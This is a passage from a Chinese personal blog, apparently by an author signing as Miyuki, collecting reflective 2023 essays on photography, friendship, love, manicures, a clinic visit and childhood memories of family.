　　“商量很久了，这个事情。你没注意到这学期开始，我们拍你们拍得特别多吗？”话音刚落，我错愕良久，方才知道，两者之间如此关联。大概这个时候，我真正地喜欢上了照片。

　　喜欢了将美与感动，从一个个凝固的瞬间释放出来。

　　照片记录的，都是过去。正因如此，才有价值。 记忆会触目相片之时被唤醒，回忆起那些组成自己的一件件事情，一个个瞬间。

　　北卡罗来纳大学教堂山分校的一项研究表明，人们体会到“爱”这一感情时，身体会有一些神经和荷尔蒙的变化，但变化短暂。也就是说， 连续不断的爱是不存在的，只存在一瞬间一瞬间，不连续的爱。

　　相片，正好能够承载那一秒。 对外，我一直这样说，也这样做。

　　然而我未曾对人说过，在这冠冕堂皇之下，还有另一个理由。它与上面的缘由同等重要，一同驱动我前进。那便是自私。

　　我曾说过，我这个人，没有自我。从小到现在，一直如此。越缺什么，越想证明其存在。

　　没有自我，便越想留下些东西，证明自己存在，证明自己来过，证明自己有价值。卑微如一个拿着满分试卷站在母亲面前的孩子。

　　但它确实构成了我行为的一部分。直到今天。

　　我想记录下那一个个美与感动的瞬间，也自私地希望，有人能通过这些瞬间记住我。

　　甚至正在看的这些文字，也有部分动机出于此。

　　离毕业时间不到一个月了，我制定了一个宏大的计划，涉及三十多个人。他们改变了我，激励了我，敦促我继续前进。

　　我不知道这个计划能否达成我这个自私的目的，但在他们恩赐与我的价值上，这点已然变得不重要了。

　　写到这里，我摸了摸我手中沉甸甸的相机，感觉实在而有份量。

　　由于上面的所有理由，我变得越来越专业，与这条路上走得越来越远。

　　“摄影穷三代”，但我不后悔。毕竟，它已然成为我生活的一部分了。

　　“咔嚓。”


　　南国微雪 Miyuki

　　2023 年 5 月 18 日

　　于旅途中

近期的一些总结

封面图

摄影师 | Biel Morro

图源 | Unsplash

写在前面

1530 字 | 总结 | 情感 | 友情 | 爱情
消极内容 | 暴言注意

正文

　　最近总生活在忧伤之中。

　　每个温度都会有花盛开；每级音阶都有特定音符；每个性格都有对应的选择。

　　外向对内向；悲观对乐观；自信对自卑；急性子对慢性子。

　　很多感情，你知道会在某个时间点结束。这个时间点，精确到月，精确到天，精确到秒。你会有什么感觉？

　　我很认真地想过，如果我知道，明天便会死去，今天会怎样去过。

　　对我而言，大概率是发呆。

　　平时我总想着，多学一点总是好的，未来也许会用得上，因而一直努力地做些什么。如果真到那一天，计划全然打乱，我想应该找不到事情做。

　　甚至连一个人都找不到。


　　我看重亲密关系，却也害怕它们。

　　曾经一个朋友来信，有句话印象很深，一直记到今天。

　　「可能是习惯了独自承受很多压力吧，加上缺乏自信，不敢也感觉不需要对太多人坦率内心。总是学不会依赖别人，竟一时不知道自己是什么时候开始变得像他们口中那么“坚强”的，“坚强”到看起来不需要任何人。」

　　当时看到这句话，我真的很想哭。

　　我把自己的很多感情袒露给外界，表达给陌生人，却缺乏勇气问一个朋友，寻求安慰。

　　我大胆到希望陌生人们，能够在我身上找到他们自己。但与此同时可笑地胆小，总觉得自己难过会打扰到朋友们。

　　他们很忙。每个人都很忙。没有空理你的事。

　　不忙的朋友们，又总觉得，关系会不会不够好，不能说这些。会不会给他们添麻烦。

　　我原对一个朋友说，学日语是好事，学日本人不是好事。

　　一语成谶。

　　有时我在想，会不会打扰别人，是不是自己一厢情愿的傲慢？但究竟无解。没有人教我答案。


　　重视友情。受到友情救赎。

　　朋友们把我从阴暗、堕落、不善言语和极度敏感的深坑里拉了出来，教我开朗，教我阳光，教我怎样逗人笑。

　　我写文章的频率下降了很多，却不是坏事。若仍然如两年前的我，高强度发文，只能说明我的生活一如既往枯燥乏味。

　　专注于现实生活，全是朋友们给予的恩赐。

　　于是，在每一段友情将要结束时，都会面临窒息一般的难过。

　　而如今，大概将同时被迫斩断十几段友情。走着走着就散了，是无痛的，但如今并不无痛。而是剧痛。

　　每天浸没在这潮水般的忧伤之中。

　　如果你知道某一天，你会和一群朋友断开联系，到那天之前，你会怎么做？


　　我一直说，这很长时间以来，我反感爱情。但其实不准确。

　　朋友们将我拉出深渊之前，我对爱情抱了极度的渴望与期待。彼时爱情如盘古般，顶起天，蹬着地，在我的世界里撑起所有。

　　只要有这种渴望和期待，爱情便能一直支撑我的世界。

　　如今我仍然期待爱情。与此同时，恐惧爱情的来临。

　　确实是恐惧，不是害怕。我确信程度已经抵达了恐惧这个地步。

　　太阳出现在了我的世界——盘古的使命已经完成了。

　　我怕爱情会击碎我的其他友谊；我怕爱情打乱我的节奏；我怕爱情粉身碎骨之后，友情一同殉葬。


　　我对友情的珍视，超过了我对爱情的期待。 于是便没了勇气。

　　我想，爱情这种上层建筑需要的东西太多，倒塌之后还是一场灾难。不如不要的好。

　　胆小，没有勇气，不具冒险精神，保守派。怎样说都好。

　　我没有从爱情身上尝到甜头，但真真切切地又受到过友情恩赐。我想此种情景，很多人同我一样会做此选择。

　　爱情威慑论至此成立。


　　我所做的很多事情，很多选择，都具备持续性，并非一朝一夕能够完成。因此我缺乏一种忍耐，对于意外来临的忍耐。

　　尤其是你知道意外会在某个你知道的具体时刻到来。

　　像极了小学时最初焦虑的样子。老师让一列人依次读课文的段落，你数了好几遍你前面有几个人，该读哪一段，然后拼命地练习你的那个段落，为了不出丑。

　　这是拷问。


　　忧伤不会一直持续下去，但会持续一段时间。诚然后来的我看这些话时会觉得好笑。又不是什么天大的要命事，何必如此。

　　但置身情景时，旁观者就该闭嘴。

　　我爱你们，所以你们是我的软肋。


　　南国微雪 Miyuki

　　2023 年 4 月 25 日

写在后面

　　若是看不懂，权作深夜一个人的疯言疯语吧。

感知到的友情

封面图

摄影师 | Yoav Hornung

图源 | Unsplash

写在前面

1331 字 | 友谊 | 改变 | 感受

正文

　　此文动机，源于一件好笑的事情。

　　某次与 K 聊天，K 说她有次和会长一起吃烧烤，手上有一个号称“惊天大瓜”，其他人都故作深沉，似乎只有会长不知道。会长馋得不行。

　　“你快点给我说嘛。”

　　“要不这顿烧烤你请我，我马上给你说。”K 笑了笑说。

　　K 确实在那段时间资金紧张，一天能吃四五十块钱出去。但 K 不会这样要求别人，这是大家众所周知的事情。

　　“我请你？你多大面子哦？”会长开始笑。

　　理所当然回绝。

　　我当时听到这里也没太在意，K 的话一向挺多。

　　“ 然后他真的请了。 ”K 一转话头。

　　“真的假的？”我愕然。

　　“真的， 最后吃饭结束的时候，他悄眯眯地跟我说这顿饭他请了，要是不说的话我就死定了。 ”K 笑。

　　“这么好骗的吗？”

　　“确实，最后我给他说的时候，他说他感觉受到了欺骗。”

　　我俩都笑。


　　这件事到执笔的此刻，想起来依旧搞笑。不过，我对这事印象极深，尽管我当时不在场。

　　我一直觉得，这是很好的朋友之间才能做出来的事情。

　　玩笑、语气、甘愿进套和最终结果。无论哪个都透露出一种极为紧密的要好。

　　爱情也能发生这种事情，但评价大概会偏向：某一方不坦诚。

　　爱情由于其强绑定的特质，要求总是更高。同样由于高耦合，留与自由的罅隙极小。

　　但是没有自由，爱情引以为傲的优势也无法体现。正如无卑劣，也就没有高尚。

　　友情给了关系更多自由。而松散绑定，也并不意味着关系肤浅。


　　跳海前阵子成天焦虑于找工作。我和他关系挺好，但并不时常聊天。

　　然后某一天，找到了。

　　他和我说，公司要人要得紧，所以到学校后收拾收拾东西又得飞去上海。

　　我说，那我请你吃顿饭吧，你这也不容易。

　　他说，行，吃完正好去三方协议盖章。

　　我是一个闲不下来的人，每当闲下来，总觉得自己背负了莫大的罪恶感——这不是在浪费时间吗？有这时间不如跑步，不如学习，干啥都好，总之要找点事做。

　　但是那天，我陪他在法学楼前坐了半个小时，等学校行政上班。

　　彼时艳阳高照，街上却有微风扫过，逗得竹子哈哈作笑，年轻于我们的学生们陆陆续续显出人影，赶去上课。谈笑声和树叶沙沙声斑驳在一起，竟显得时光静谧而温和。

　　“如果没有事儿，我能在这儿坐一下午。”

　　他忽然跟我说。

　　我转过头，看了看他，又转回去看着对面的教学楼发呆。

　　“嗯，我觉得这挺好的。”

　　半晌，我说出这句话。

　　有时候闲下来，也不错吧，我想。


　　我此生的目标，一直是朝着理想中的自己前进。

　　这个目标并不具体，抽象而不好衡量。我最近在思考这个问题，怎样将其具现化。

　　前段时间有后辈告诉我，他的女朋友说我看起来很像北极熊——在比较重要的时候，我总是喜欢身着白衣服。

　　我挺喜欢这个称呼。白色总给我一种干净与纯粹的感觉，我很喜欢。

　　干净与纯粹，便是这具现中的一环。

　　而珍惜友情，毫无疑问也是这显影中的乐章。

　　珍惜友情，听起来似乎很简单，然而，他有一个重要的前提：需要被感知。

　　感受不到，一切免谈。


　　K 和会长与我都是朋友。K 一直都笑会长，说他成天想吃瓜想疯了。他恼羞成怒地跟我们赌气，说他后面有什么事情也不告诉我们了。

　　跳海那之后仍时不时与我聊些东西，和我说些工作的事。“免得你踩坑。”

　　我不知道我对于这些事情的感召力还能持续多久。

　　但只要它没有消逝，我便会珍惜。

　　无论是朋友，还是这些事情。


　　南国微雪 Miyuki

　　2023 年 4 月 15 日

写在后面

　　部分内容为文学艺术加工，并不与现实相同。

关于美甲

封面图

摄影师 | Patrícia Hellinger

图源 | Unsplash

写在前面

816 字 | 美甲 | 看法 | 变化 | 成长 | 女性气息

正文

　　没有专业知识，只是想聊聊关于这件事的看法。

　　早些年，大概高中，我极其讨厌做指甲的人。 总认为那些人，有些歪门邪道——天然的不漂亮吗？再者，也不方便啊。

　　彼时，于我而言，它是妖术。放江湖里，也是数一数二的魔道。

　　这就是传统思想吧，大概。

　　前些天，一个后辈与我聊天，聊到诙谐处，她捂嘴偷笑。灯光反射，星星点点，颇有些惹人注意。 那指甲上面各色图案，各方色彩，排列棋布，竟无一相同。

　　约莫是看我目光停在手上，她笑了笑，在我面前张开十指，手心向下。

　　“前两天刚做的，好看吗？”

　　“还可以，挺漂亮的。”我说，然后继续攀谈起来。

　　聊天末了，两人分别才发现：对这妖术，我竟不再抱有负面的看法。

　　回去想了很久，也并没有摸到根由。

　　写下这些，我忽然想到： 也许，在我努力去接受这些东西的时候，就已经释然了吧。

　　再者，这些物事，能让人产生动力，并没有那么糟糕。就算只是去追求美的动力，也好。

　　不，爱美心，人皆有。所以，挺好。

　　我曾说，女性气息太过浓烈时，我会忍不住害怕，然后逃跑。像一个小孩子那样，狂奔到家，然后用力抵住门口。直到今天，这种情况也没能好多少。

　　但确乎，这困扰之事正一点点改善。这是一种进步。起码，能够看得到了。

　　倘若现在有人问我，关于美甲有什么看法的话，我想，我会回问一句话：

　　“做这件事情的时候开心吗？”

　　开心就对了。那就是好事情。


　　南国微雪 Miyuki

　　2023 年 4 月 7 日

写在后面

　　本文事件经过文学艺术加工，并不完全与现实相同。

引用及附注

　　但我在尝试着去理解那个遥远的女性世界。

　　一年之前，我是不会这样做的。面对满目琳琅，胭脂洪泛的化妆品，入口完全紧紧闭塞，颇似惊慌的小孩子，跑进家门，用力抵住门口。

　　一年之后，我尝试打开门闩，放那些让自己害羞到害怕的气息进来，努力接受。

　　有人曾经问我，为什么要学化妆品相关的知识。我说，我想学会之后用在女朋友身上，免得她被骗，或者忙的时候，我也能帮上忙。

　　如果我真能找到女朋友的话。

天生喜欢恋爱

封面图

摄影师 | Tyler Nix

图源 | Unsplash

写在前面

2894 字 | 恋爱 | 友情 | 观念

正文

　　这次想表达的主题，或许和这个标题正相反。

　　我有一些朋友，在恋爱这件事情上，上心到感天动地，惊鬼泣神。

　　A，一个高个女生，自认不善言语。

　　因为甲亢，所以医生开出那个终生带药的治疗方案时，她考虑良久未果。她说与他的男友，只得到了这样一个反应。她男友沉默许久，说了一句：“你自己决定吧。”她给我说这件事的时候，语气很哀伤。

　　她和男友是一对很传统很典型的情侣。她在恋爱关系里话很多，而男友则相对保持沉默。A 甚至跟我说，她在有一次要求他不要太沉默的时候，他这样说：“你不能不让我沉默，我挺需要它。”

　　与此相对的，她在朋友关系里面沉默寡言，总是等着别人找她。不止我这个异性朋友，她的同性朋友也说：“ 她就像 Siri，有求必应，但从来不会找你 ，这让人很烦。”

　　我因为受不了这种单向的友情，渐渐没有再联系。

　　B，一个开朗的女孩子，很喜欢笑，放在人群中也是最亮眼的那种——因为太阳光，太能说。

　　我还在努力地找工作，考事业编的时候，她曾因为兴趣，与我一起做过几题。事业单位考法律，宪政刑民，都考。其他题她总是兴趣缺缺，随便乱选。“你好歹把题看完嘛。”我有时会这么说。“看完也不知道呀，不如看运气。”

　　但是她在一道有关婚姻的选择题时，与我争论十多分钟。题面问以下那种情况可以离婚。我清楚地记得，她跟我说分居满两年可以离婚。我和她上网搜，确实存在，还有个前置条件：因感情不和。她还举了其他几个例子，属实。

　　事后我震撼良久——为什么关于这方面的法条能记得如此清楚？而涉及赔偿、继承、名誉或合同等等其他法条时一概不知？

　　C，我与她交往不深。

　　我只记得她一件事：她在完整看过我的梦想清单之后，只笑着说了一句话。清单大大小小二十多条，去往的城市，完成的作品，什么都有——其中有一条：恋爱一次。因已结束，遂标记起止时间。

　　那句话是： “哈哈哈哈，你的爱情好短暂。”

　　D，一个成熟的女生，看起来也很漂亮。

　　某个交往很久之后的雨夜，我徘徊在舞蹈室前面，提供一些她与她男友感情之间的建议。那个晚上，她纳罕地与我说了许多，之前从未达到过这种频率和深度。那些话里，有两点记忆清晰。

　　一是她很落寞地说：“我和他说，我只希望，在你快乐开心的时候，不管当时还是之后，能给我发一条消息。”

　　二是她的男朋友，提出了一个匪夷所思的条件：要分手，可以，当面说，其他形式不承认。

　　当天她有些宽慰之后，我曾笑笑问她：“怎么今天忽然想起跟我聊天了？平时都不见你发消息。”

　　她似乎有些尴尬。 在一片雨落钢棚的嘈杂声中，我听见她在电话那头断断续续地说：“这不是怕你忙嘛，会打扰你。”

　　E，一个安稳而幸福的女孩子。

　　近段时间，她总与我在操场上轧着说些事情，主要目的是完成体育课的跑步学分。配速要求不高，可以走着说。她和我说了她的家庭、她的想法、她的朋友还有一些乱七八糟的观念。而其中最多的，便是恋爱观。

　　我很好奇，为什么她能在连续几个夜晚，一直聊这个话题，似是不知疲倦。我几乎总是听着，不时说两句话。有时热烈地探讨起，恋爱的这样那样。无数相关的话题，探讨出的结论，却几乎惊人地一致：无解，或者说，分人。

　　而她仍然热切，仍然期望，面对恋爱怀有一切希望。

　　她有时当着我的面和她朋友对发语音，空歇时间与我抱怨：她朋友有时候油盐不进，简直和这种有男朋友的人没法聊天。也一边和我笑着说，什么时候她也能这样。

　　我问怎么了，这样气郁。她说，她朋友最近又要飞一次北京，因为她男朋友在那边身体不好，需要照顾，而这是这个月的第二次。

　　我听闻便已目眩。

　　F，一个很神奇的人。神奇，并非她人，而是我们之间的关系。

　　她曾和我吐槽，和她交往的男生，或多或少都有些不正常，或者动机太明显，但是在我身上没有这种感觉。

　　随后，她交了男朋友。我依旧和她聊天，有时也提醒他们之间，恋人之间需要注意哪些事情：诸如千万不要互相关联 QQ 或者交换密码。

　　有一天，我们两个人之间出了矛盾。

　　她和我说，她现在不知道怎么处理我们两人之间的关系。其中提到了一句话：我现在是有男朋友的人了。我不知说什么好，随后发了一条消息：那我们就按传统的方式来吧。

　　自那之后，我们再没聊过天。 前些天清理聊天列表，发现她已经把我删掉了。所有能接触到我的渠道，全部都是。


　　诚然这些并不是全部。还有一些朋友，与我一样，友情远大于爱情。

　　G 问我有女朋友之后还会不会和她聊天，我说这两者之间又没有关联，我分得清。她说，那就对了，她也是。

　　H 喜欢自由，我们一群人见证过她的爱情始末，她说比起恋爱还是更喜欢单身。

　　I 的前任把她伤得很深，于是再不入爱河。

　　J 说女友是女友，兄弟是兄弟，两样一样都不能耽误，没有高下之分。


　　或许是我个人的幸存者偏差：我总发现，在我周围的女性之中，将恋爱看得极重要的人，概率似乎特别高，而在我周围的男性，似乎很少如此（不过还是有几个）。

　　我曾经怀疑过这样一个观点： 或许有人天生就更适合恋爱，也更喜欢恋爱。这个天生，包括其后面成长的环境。

　　从小到大看着父亲的背影，潜移默化地一直认为：我应该独立自主，爱身边的人，而非寄希望于他人给予美好的爱。

　　然而似乎并不是所有人的观点都是如此。

　　K 说她以前遇到过一个女生，毕业后的梦想就是找一个男人养她。这是我见过的最极端的例子了。

　　在我接受的教育里，这是一件极其恐怖的事情——你需要把所有的主动权交出去，就像等待调剂那样，自己的命运并不由自己做主。


　　我很讨厌那些将有对象当作评判标准，给人分上下等的人。谈恋爱的是上等人，单身的是下等人 （印象中，似乎这等同于没有魅力与没人爱） 。就我有限的恋爱经历而言，谈恋爱确实会有一种安心感，会觉得有人在你身后，不用回头也知道。 但那并不是优越感。

　　恋爱，是一件虚无缥缈的事情。

　　漫长的人生中，一天又一天地等待，或者去主动抓住，那万分之一的希望。这和买彩票无异。买彩票概率很小。 而读书，能遇到抓住心头或改变人生的句子的概率也很小，但那些没有立刻抓住心头的句子，也确实实实在在、潜移默化地改变着你。

　　但买彩票，和等待恋爱，似乎就只是纯浪费了。就经济学和管理学的观点，这是一种不经济和没有效益的做法。

　　恋爱，从零到一，最难。需要机缘，需要处事，更需要勇气。

　　有人问过我的恋爱观。简单来讲就一句话：我不相信爱情。

　　恋爱是上层建筑，这意味着追求与稀有。而人们印象中的完美恋爱，我想只能是顶层建筑了。


　　A 如今经常全国跑，去旅游，也去治抑郁症。B 发起过一次冲锋号角，然后在某天奶茶店看到心上人，尴尬地转头就跑。C 每隔两三天就会在朋友圈里，求帅哥的微信号。D 在前两个月大病一场，如今初愈，没能分手。E 依旧如常。F 没有消息。

　　或许有人天生喜欢恋爱，天生适合恋爱，但这些人，并不一定天生能遇到恋爱。 这很捉弄人。

　　而或许有人天生就不太喜欢虚无缥缈的东西。

　　两种生活方式，两种选择。我只知道，我不是前者。


　　或许有人天生喜欢恋爱，而或许，有人天生喜欢友情，只是无人提起，人们也不爱看。


　　南国微雪 Miyuki

　　2023 年 3 月 26 日

引用及附注

　　相关链接：《微雪爱情观》

我相信有美好的爱情存在，并且亲眼看到过，很多人都为之倾倒和祝福。但，我绝不会相信它会发生在自己身上，我也不会从它身上汲取哪怕一点营养。我相信，再疼再难，慢慢学着一个人去忍受、发泄、克服，也总比抱着不切实际的幻想来得实在。

迷失

封面图

摄影师 | Derek Finch

图源 | Unsplash

写在前面

1759 字 | 人 | 思考 | 温暖

正文

　　下笔，是在一次看病之后。

　　已经很久没去过医院了，上次是探望朋友，而这次，是因为长跑受了脚伤。


　　进门诊室，医生是一个年轻男性，眉目清秀，但带着成熟。主治医师。我讶异于他的年轻。

　　“你呢？怎么了？”

　　“17 号长跑之后，第二天起床右脚疼。骰骨和腓骨末端贴近脚踝那一块。”

　　他简单检查过后，给我开药，问我是不是学生。我点点头。

　　在开药途中聊起来。

　　他是纯正的雅安人，口音很重。我说我其实已经快好了。还说，在来这之前，我查了一下，千奇百怪，有说是骰骨综合征的。他听了之后开始笑。

　　“什么骰骨综合征啊，你这很明显是运动损伤。之前没经常跑过这么长距离吧？”

　　我点点头。

　　他一边聊着，一边给我说药的用法。中药，调成膏状外敷。

　　因为口音很重，我没听清，以为要熬出来，用毛巾浸，外敷。

　　他又笑：“我给你开这个，你上哪儿熬？”

　　我一愣。

　　“因为是学生，我才专门给你开的贴贴的嘛。”

　　透过这浓重的口音，我忽然感觉到了一丝关怀，一种很难言说的感觉。

　　他说拿完药就可以走了，应该没什么问题了，只是叫我四周之内不要剧烈运动。

　　出门诊室，看见对面儿科诊室的医生正在治疗。他叫附近一个护士帮他固定住孩子的脑袋，然后着手治疗。

　　“就是这样！啊！对了对了对了！好了好了好了！诶！”

　　我回头看了一眼，那医生鱼尾纹在笑。而身下的孩子在哭。

　　小孩子的哭声有时很烦人，有时又很讨人喜欢。

　　这全在所谓“大人”的一念之间。

　　而儿科医生，是最难做的一类医生。


　　下楼，收费处。

　　刚排到我，收费处的护士忽然说等一下，然后跑了出去。回来之后，双手合十，说不好意思，她刚刚有点事。

　　我说，没关系。

　　出医院大楼，医院外面的清冷，和医院里面的拥挤，恍若两个世界。

　　看到之前提醒我锁好自行车的保安，在和路人闲聊。

　　身边又走过一位保洁阿姨，扫走地上的药袋。


　　在凌冽的雨后寒风中，我终于慢慢懂了此时脑海里的纷飞思绪。

　　我们习以为常的，或许并不是人，而是职业。

　　怎么说呢。小孩子都知道：生病了，要去看医生；在学校，要找老师；遇到坏人，要找警察。

　　找了这些人，似乎就可以撒手不管了。我们与这些事情，再无关联。

　　我们习以为常的，大概就是这样——一个套在人身上的事情处理工具，专业一点，叫做职业。

　　而当职业被撕下来，露出后面人的真面目时，我们会觉得不习惯。

　　疫情期间，去一座城市考试，民宿在医院旁边。于是我也得幸看见那一幕：一个身穿防护服的护士，出来取快递。脱下湿漉漉、黏在她手上的医用手套。

　　“终于能歇会儿了，”听到她这么说，“这橘子，看评论说好像很好吃，要不你尝一个？”

　　随后是几个人的笑声。

　　我们会饿，会困，警察也是，消防员也是。

　　我曾经亲眼看过，几个消防员，一身灰，蹲在早点铺旁吃早点。 至于为什么不坐旁边的空座，我想应该是怕弄脏吧。

　　警察也会打盹，有时还忙到煮泡面吃。 我没亲眼看过，但有人拍过。

　　为我考虑的那位骨科医生，和那个保安。我觉得都是很可爱，很可敬的人。

　　这些直觉上，远悖于他们身份的行为，恰恰最能让人体会到——他们，也是人。


　　芯片复杂吗？复杂。光刻机也复杂。各种工业产品也是。但他们都是人造的。

　　千万颗芯片，与千万个人，于捉摸不定而言，我想后者只会几倍于前者。

　　人是世界上最复杂的东西，也是世界上最难以预测的东西。

　　人的能力有限，于是创造出工具， 却又迷失在一个个统计学数字和指标中 。

　　人的能力无限，从农耕到工业革命，再到科技爆炸，没有比人作用更大。

　　但我们似乎从很久远以前就忘记了这一点——我们如何成为人，又如何尊敬人。

　　现在越来越多的人，只看重“男”或“女”，全然不顾后面的“人”，只认做提款机或家务机器。也迷失在“钱”或“地位”这样人造的概念里。

　　工人和科学家，都是劳动者，地位差很多吗？

　　尊贵卑贱，少爷小姐，奴婢仆人，乃奴隶封建之陋习。

　　而给予和接受，管理与操作，也都是非共有而不能存活的东西。


　　想到这里，我忽然打了一个寒颤。

　　或许我想得太过了。但确实有时，我们会忽略这一点。

　　喜欢好事，讨厌坏物，唯独缺人。

　　或许已经习以为常了吧。

　　不过，我想，倘若某一天，某个人身体力行地教育我们：何为七情六欲，何为高尚幽暗，何为“人”。等到那一天，希望结果不要太恶劣为好。


　　我骑上车，向着学校出发。

　　路上看到一个拿着旗子百无聊赖的志愿者，那一刹那，我忽然想起来：

　　是时候给父母打个电话了。

　　他们，并不无所不能。


　　南国微雪 Miyuki

　　2023 年 3 月 23 日

瓦罐饭与糖

封面图

摄影师 | Evie Fjord

图源 | Unsplash

写在前面

1516 字 | 幼年记忆 | 朋友 | 生活

正文

　　准确来说我不知道那是否叫瓦罐饭。一个烧罐，里面放米，放火上烤，蒸熟，撒上配菜，很香。一般川内有卖。我只知道小时候我很喜欢。

　　那时候我不知道还有这种做法。烧出来的米很香，有种独特的口感。

　　小孩子，猫舌，对什么事情都感到好奇，何况这样美味。如果不是太烫，大概早就吃完了。

　　父母就坐在桌对面，看着我吃，笑意很浓。

　　“慢慢吃，不急。”他们笑着说。

　　在他们面前的是两碗面条，都是二两。彼时二两面条，7 块。而瓦罐饭，12 元一份。

　　不知怎的，我对这个价格很深，还有他们的笑，以及那一筷子没动，还冒着热气的面条。


　　前阵子忽然兴起，在自己的 TODO 里面写下一条待办：随身带糖。

　　真的是脑子抽风了，不骗人。那时我并不知道原因。


　　糖是今天中午买的。

　　晚上同一个朋友一起跑步，她说她总忍不住吃东西。压力不大，就是管不住。我从兜里掏出一颗糖：“要不要吃？”她笑骂我火上浇油，然后乖乖地接过来，撕开包装纸。

　　脸上浮现笑容——两人一起。

　　跑完步，我又掏出来一颗：“我这还有。”她沉默了一下，然后问我：“跑步之后是不是应该补充糖分？”我笑笑：“这我可不知道哦。”


　　“手伸出来，送你个东西。”将糖放在手心，握紧，包起来，手心向下。

　　另一个朋友将信将疑地看着我：“你要干嘛？”

　　“别管嘛，快点，手伸出来，送你个小礼物。”

　　她伸出手，然后忽然又猛地缩回去：“是不是垃圾？”

　　“你猜？”我笑，她也笑。

　　她还专门找了个垃圾桶旁边的位置，呈古时奉剑的姿势，弓步后撤，双手并拢。感觉行大礼一般。

　　“要是是垃圾，我当场把垃圾连人一起扔在这儿。”

　　“至于吗……我这么信不过啊？”我忍不住笑出声。

　　松开手心。

　　某人松了一口气：“原来是糖啊……你搞这么大阵仗，吓我一跳。”

　　“不然你以为呢？”我笑了笑，看她把包装撕开，把糖丢进嘴里。

　　“这糖我没吃过啊，不知道好不好吃，先拿你试毒。”我贼兮兮地说。

　　然后马上看到她回过头，眼里一股杀意。


　　糖确实是一个很小的礼物，成本低廉。但这，并不代表其快乐也很廉价。

　　苦恼自己总忍不住吃东西的那位朋友，我对她说：“其实这对你周围的人来说，是一件好事。”

　　她问为什么。

　　我说：“我曾看过一句话，说如果想关心别人，不要问‘现在感觉怎么样’，直接问‘你饿不饿’。这两种感觉是不一样的。”

　　她想了想：“好像是不太一样。”

　　我说：“后文说，为人做食物，给人吃东西，是平时生活中表达爱意的最高形式。”


　　出口的那一瞬间，我似乎明白了他们的笑，和我脑子抽风去买糖的原因。


　　南国微雪 Miyuki

　　2023 年 3 月 3 日

内侧衣兜

封面图

摄影师 | Nathan Dumlao

图源 | Unsplash

写在前面

617 字 | 幼年记忆 | 设计感

正文

　　对我来说，内侧衣兜是大人的象征。

　　以前小学印象尤为深刻，父亲给我交学费，每次都是从内侧衣兜里拿钱包。而因为交学费，钱包总是鼓鼓的。

　　我也曾问过父亲：“为什么要放在里面？拿出来不是很不方便吗？”

　　父亲说：“安全。”

　　那个时候移动支付一点影子都没有。

　　稍微大一些，看了一些电视剧或者电影。每次那种黑道人物掏枪也总是把手放在衣兜里，这更为这种普通的衣兜蒙上了神秘的色彩。

　　我也来也幻想哪一天我也能帅气地从内侧衣兜掏出来什么。因为这样看起来很有大人的样子。小时候的我很崇拜父亲。虽然据母亲说，那段时间恰恰是父亲最黑暗的时候：什么都不会，买卖又失败了，只能跑跑车拉人做营生。但父亲从来没跟我说过这些。

　　我的父亲就是一个很传统的父亲。我虽如今很不赞成这种传统的父亲形象，但我也无法否认：传统的父亲形象对于教育一个人的责任和担当，确实很有效。

　　于是我渐渐明白了，我并不是羡慕内侧衣兜，而是羡慕父亲身上的表现出来的抽象气质。细化一点，也可以看作是责任、勇气、坚韧和耐心的集合体。

　　黑道人物身上也有这种气质。不然是成为不了黑道人物的。

　　前阵子换衣服，才发现脱下的衣服有个内侧衣兜。这么久了都没看见。可能我也确实用不到它吧。毕竟，移动支付已经普及了。

　　我也不知道我身上有没有这种气质，如果有，我想也需要换一种表现形式了。

　　但是每次看见这种衣兜，我还是会很兴奋。不论有没有用，我还是挺喜欢这个设计。


　　南国微雪 Miyuki

　　2023 年 2 月 26 日

母亲的理发推

封面图

摄影师 | 南国微雪 Miyuki

图源 | life

写在前面

1169 字 | 幼年记忆 | 家庭

正文

　　母亲是八九十年代的理发师。

　　在我出生很久以前，母亲从事这个行业。还因此落下了病根。我好奇问过母亲这一点，她说：“有时候太忙了顾不了那么多，就不吃了。或者吃到一半又来人了，忙完碗里都是头发，菜也凉了，就不想吃了。胃病就是这么来的。所以叫你们不管多大的事情，先吃饭，吃饭要紧。”

　　母亲的理发店那时似乎很受欢迎的样子。后来有了兄长，歇业一年，准备回到街上时，发现已经大变样了。曾经自己带的徒弟都开起店来，只好另寻出路，自此封存手艺。

　　我们家除外。

　　小时候记得最清楚的，就是母亲的理发推。似乎自我出生就存在了，今后也会一直存在下去。一根长线，机体通体黑色，唯独剃发那端，烤漆脱落斑驳。

　　母亲现在只会两种发型，平头和学生头。虽然我从来不知道学生头是什么。如果光头也算，大概是三种。

　　现在的理发师，只需要五分钟，而母亲半小时起步。

　　小时候每次理发都是煎熬。尤其是夏天，热气腾飞，周围还有蠓虫飞舞，一伏在腿上就是一两个大包，一来来五六只。那时我不住地问母亲：“还有多久啊？”而母亲的回答总是：“快了快了，你再拍死两只就剪完了。”

　　母亲的理发推很旧，每用一次都要重新上油。而且以前用起来没有声音，不知何时起，开始嗡嗡叫起来。声音时大时小，有时难以忍受。据母亲说，声音大的时候，推子很伶俐，干脆好用，就是耳朵有些受不了。

　　昨天我想理发，母亲拿出这套工具，叫我坐下，背朝太阳。“我眼睛木得很，不然看不见。”她说。我一怔。

　　一插上电，理发推没反应。

　　我们俩折腾了半天也没能让它动起来。最后只能作罢。我说：“看来我还要当几天野人啊。”母亲说：“要不你去街上剪吧？”

　　“看来我们的理发业务正式关停了啊。”我笑着说。

　　“这不都关停很久了吗，又没给外人剪过。”母亲笑着回。

　　晚上和父亲聊天，无意间提起这事，父亲没作声。

　　今天正看视频，父亲突然要我去剪头发，说母亲在下面等。我一愣：“电推修好了？”父亲点点头。

　　父亲也是个奇人，似乎什么都会的样子，昨天还给家里重新换了一个电热水器，还叫我去帮忙。

　　我下去，一面收拾一面问母亲：“什么时候修好的？”母亲说：“我还想问你呢，你给他说的？”我想了想，应了一声。

　　电推一开，声音贼大。

　　我俩对视一眼。我还是坐了下去。母亲还是半小时起步。

　　理发结束，母亲说，声音大得她都有点受不了。我笑了笑。

　　“啊，对了，以后你每次在外面剪别把前发剪太短了。你过年回来，那个前发太短了，看起来瓜兮兮的。”母亲说。

　　“瓜兮兮的不挺好吗，傻人有傻福。”我开始笑。

　　“看起来瓜娃子一个，还傻福呢……”

　　“声音受不了，不打算换一个吗？”

　　“算了吧，都用了这么二三十年了，也剪不了几次了。浪费钱。”母亲说。

　　我没说话，就这样看着母亲把理发推装进口袋，外面露着半截插头。


　　南国微雪 Miyuki

　　2023 年 2 月 19 日

写在后面

　　封面图是自己拍的，很久以前的事了，大概 17 年吧。

小孩子的勇气

封面图

摄影师 | Jan Kopřiva

图源 | Unsplash

写在前面

